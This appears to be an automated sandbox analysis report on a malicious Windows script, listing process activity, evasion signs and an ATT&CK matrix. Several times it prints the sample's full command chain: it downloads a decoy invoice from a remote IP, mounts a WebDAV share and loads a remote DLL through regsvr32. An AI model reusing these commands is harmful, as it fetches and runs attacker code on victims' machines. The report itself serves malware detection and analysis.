Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\601.js.csv");ITextStream.WriteLine(" entry:7330 f:ewwvwf");ITextStream.WriteLine(" exec:2 f:ewwvwf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4886			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4963			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3224	Thread sleep count: 4886 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5792	Thread sleep count: 4963 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3800	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5096	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2940	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2209059615.000001ACB9578000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2209059615.000001ACB95DE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3436872273.000001E85642B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3438120427.000001E85BA54000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\115461216631977.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
